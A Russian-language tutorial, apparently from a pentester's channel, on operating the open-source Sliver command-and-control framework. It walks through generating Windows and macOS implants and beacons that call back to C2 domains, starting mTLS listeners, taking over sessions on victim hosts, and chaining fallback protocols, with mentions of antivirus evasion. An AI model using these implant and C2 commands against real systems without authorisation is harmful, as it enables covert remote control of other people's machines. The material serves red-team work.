C2 ДЛЯ ПРОЕКТНОЙ ДЕЯТЕЛЬНОСТИ
Для чего нужен сервер командного управления С2?
Структура командования и управления (C2) позволяет злоумышленникам в полной мере использовать существующий доступ к компьютерным системам или сетям.
Виды С2:
Рекомендую к прочтению классную статью с хакера: https://xakep.ru/2019/10/18/post-exploitation-frameworks/
Но мы будем рассматривать с вами то, что можно использовать на проектах в РФ, а именно Sliver (фреймворк с открытым исходным кодом, который не требует лицензии в отличии от Cobalt Strike)
БАЗА:
- Implant - общий термин для программного обеспечения, используемого для поддержания доступа к атакуемой системе. Термин "имплантат" часто взаимозаменяем с синонимом "агент".
- Beacon - это имплант, который создает отстуки на сервер управления через определенный интервал времени.
- Stage - "поэтапная полезная нагрузка" - это метод загрузки фрагмента кода, обычно по сети, на удаленный компьютер. Традиционно постановка использовалась в сочетании с эксплойтами, которые имели ограничения по размеру. Как правило, цель состоит в том, чтобы выполнить небольшой фрагмент кода, то есть "stager", который, в свою очередь, загружает больший фрагмент кода. Поэтапные полезные нагрузки до сих пор используются таким образом, однако они также часто полезны для обхода обнаружения антивирусов, так как большая часть вредоносного кода загружается непосредственно в память.
Установка:
git clone https://github.com/BishopFox/sliver.git
Ставим go на систему и собираем проект:
Соответственно папочку Client оставляем у себя на боевой тачке, а Server переносим на удаленный сервер с белым IP (Дополнительные настройки для скрытия сервера не описываю, тема отдельной статьи).
Работа с Sliver
Генерация имплантатов:
Генерация имплантатов осуществляется с помощью команды generate, вы должны указать хотя бы одну конечную точку C2 с помощью --mtls, --wg, --http или --dns. Обратите внимание, что когда имплантат пытается подключиться к конечной точке, указанной с помощью --http, он попробует сначала HTTPS, а затем HTTP (если HTTPS не удастся). Рекомендуется использовать mTLS (--mtls) или WireGuard (--wg), когда это возможно. Вы также можете указать выходной каталог с помощью --save, по умолчанию имплантат будет сохранен в текущий рабочий каталог.
[server] sliver > generate --mtls example.com --save /Users/r00t_owl/Desktop [*] Generating new windows/amd64 Sliver binary [*] Build completed in 00:00:16 [*] Sliver binary saved to: /Users/r00t_owl/Desktop/NEW_GRAPE.exe
[server] sliver > generate beacon --mtls example.com --save /Users/r00t_owl/Desktop [*] Generating new windows/amd64 beacon implant binary (1m0s) [*] Symbol obfuscation is enabled [*] Build completed in 00:00:27 [*] Implant saved to /Users/r00t_owl/Desktop/FINE_SENTENCE.exe
Имплантаты Sliver кроссплатформенны, вы можете изменить нагрузку под ОС цели с помощью флага --os. Команда generate info также оценит, какие цели компилятора могут быть использованы на основе операционной системы сервера и доступных кросс-компиляторов.
Некоторые команды/функции могут не работать на "Неподдерживаемых" платформах.
sliver > generate --mtls example.com --save /Users/r00t_owl/Desktop --os mac [*] Generating new darwin/amd64 Sliver binary [*] Build completed in 00:00:09 [*] Sliver binary saved to: /Users/r00t_owl/Desktop/PROPER_ANTHONY
Сервер также присвоит имена каждому сгенерированному двоичному файлу, например, NEW_GRAPE.exe. Вы можете переименовать файл во что угодно, но эти кодовые имена все равно будут однозначно идентифицировать сгенерированный двоичный файл (они вставляются во время компиляции). Вы также можете просмотреть все ранее сгенерированные двоичные файлы имплантатов с помощью команды implants:
sliver > implants Name OS/Arch Debug Format ==== ======= ===== ====== CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB RUBBER_PRINTER windows/amd64 true SHARED_LIB RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB SICK_SPY darwin/amd64 false EXECUTABLE
Если вам нужно повторно загрузить ранее сгенерированный имплантат, используйте команду regenerate
, обратите внимание, что позиционные аргументы (имя имплантата) приходят после флагов команды (например, --save
):
sliver > regenerate --save /Users/r00t_owl/Desktop NEW_GRAPE [*] Sliver binary saved to: /Users/r00t_owl/Desktop/NEW_GRAPE.exe
Получение Shell:
Прежде чем запустить оболочку, сначала нужно запустить слушателя. Вы используете команды mtls, http, https и dns для запуска слушателей для каждого протокола (помните, что конечные точки, указанные с помощью --http, могут подключаться к слушателю https). Вы можете использовать команду jobs для просмотра и управления слушателями, работающими в фоновом режиме. Слушатели поддерживают как сессии, так и обратные вызовы маяков:
sliver > mtls [*] Starting mTLS listener ... [*] Successfully started job #1 sliver > jobs ID Name Protocol Port == ==== ======== ==== 1 mTLS tcp 8888
В этом примере мы используем Mutual TLS, необходимые сертификаты для настройки и защиты этого соединения уже были созданы в фоновом режиме, и пара клиентских сертификатов была встроена в имплантат во время компиляции. Таким образом, чтобы получить оболочку, вам просто нужно запустить двоичный файл на цели.
Взаимодействие с сеансами:
Команда use заполнит идентификаторы сессий и маяков с помощью табуляции, но вы также можете ввести их (префиксы идентификаторов принимаются). Кроме того, выполнение команды use без аргументов вызовет интерактивное меню для выбора.
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST sliver > use 8ff2ce4c [*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6) sliver (LONG_DRAMATURGE) > ls /Users/moloch/Desktop ===================== .DS_Store 6.0 KiB .localized 0 B LONG_DRAMATURGE 6.3 MiB
Если у вас возникли проблемы с получением обратных вызовов, обратитесь к руководству по устранению неполадок (добавьте флаг --debug при генерации имплантата).
Взаимодействие с маяками:
После первоначального выполнения маяк зарегистрируется на сервере C2 и появится под beacons
, каждый экземпляр процесса маяка получит свой собственный идентификатор, и этот идентификатор используется в течение всего срока действия этого процесса (т.е. при повторном согласовании ключа и т. д.). Значение "Next Check-In" включает в себя отбивку (по умолчанию до 30 с), и вы также можете смотреть свои маяки в режиме реального времени с помощью команды beacons watch
. Не забудьте использовать полную вкладку для uuid при использовании:
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2023 10:10:11 CST [server] sliver > beacons ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In ========== ======================== ======= =========== ===================== ================= =============================== ================== ================ =============== 8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s [server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb [*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb) [server] sliver (RELATIVE_ADVERTISEMENT) >
Вы должны увидеть синюю подсказку, указывающую на то, что мы взаимодействуем с маяком, а не с сеансом (красный цвет). Команды выполняются так же, как и в сеансе, хотя не все команды поддерживаются в режиме маяка.
[server] sliver (RELATIVE_ADVERTISEMENT) > ls [*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6) [+] RELATIVE_ADVERTISEMENT completed task 962978a6 C:\git ====== drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021 ...
Задания будут выполняться в порядке их создания (FIFO).
⚠️ ВАЖНО: Результаты выполнения заданий будут блокироваться до тех пор, пока не завершатся все задания, которые были частью одного и того же "пакета заданий". Если у вас есть одна краткосрочная и одна долгосрочная задачи, выполняемые как часть одной и того же пакета заданий, результаты краткосрочной задачи будут ожидать результатов долгосрочной задачи. Рассмотрите возможность выполнения длительно выполняющихся задач в отдельном интервале. Это относится и к задачам, назначенным несколькими операторами, поскольку имплант не "знает" о нескольких операторах.
Вы можете просмотреть предыдущие задания, выполненные активным маяком, используя команду tasks:
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks ID State Message Type Created Sent Completed ========== =========== ============== =============================== =============================== =============================== 90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST 962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
Вы можете получить старый вывод из задания, используя команду tasks fetch и выбрав задание, вывод из которого вы хотите увидеть. Операторы в многопользовательском режиме могут получать результаты из заданий, выданных любым другим оператором на сервере. Однако операторы будут видеть автоматические результаты только тех заданий, которые они сами выполнили. Вы можете отключить автоматическое отображение результатов заданий с помощью команды настроек.
Переключение из режима маяка в режим сеанса:
Вы можете использовать команду interactive для задания маяку открыть интерактивный сеанс, без аргументов будет использоваться текущий канал C2:
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive [*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888 [*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899) [*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
⚠️ ВАЖНО: Вы можете открывать интерактивные сессии только по тем протоколам C2, которые были скомпилированы в бинарном файле. Например, если вы изначально не скомпилировали имплант с параметром --http, вы не сможете открыть интерактивную сессию по протоколу HTTP. Однако вы можете указать альтернативные конечные точки (например, редиректор на другом домене) с помощью флагов команды interactive.
Когда вы закончите использовать интерактивную сессию, используйте команду close, чтобы закрыть интерактивную сессию, не убивая имплантат; маяк будет продолжать выполнять контрольные заходы, пока открыта интерактивная сессия.
Несколько доменов/протоколов:
Вы можете указать несколько доменов и протоколов в процессе генерации.
По умолчанию Sliver будет пытаться использовать стратегию последовательного подключения: сначала используются наиболее производительные протоколы (MTLS -> WG -> HTTP(S) -> DNS), возвращаясь к последующим доменам/протоколам, если/когда соединения не работают.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Вы можете изменить стратегию подключения во время компиляции с помощью флага --strategy. Например, вы можете дать команду имплантату r произвольно подключаться к любой указанной конечной точке C2:
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest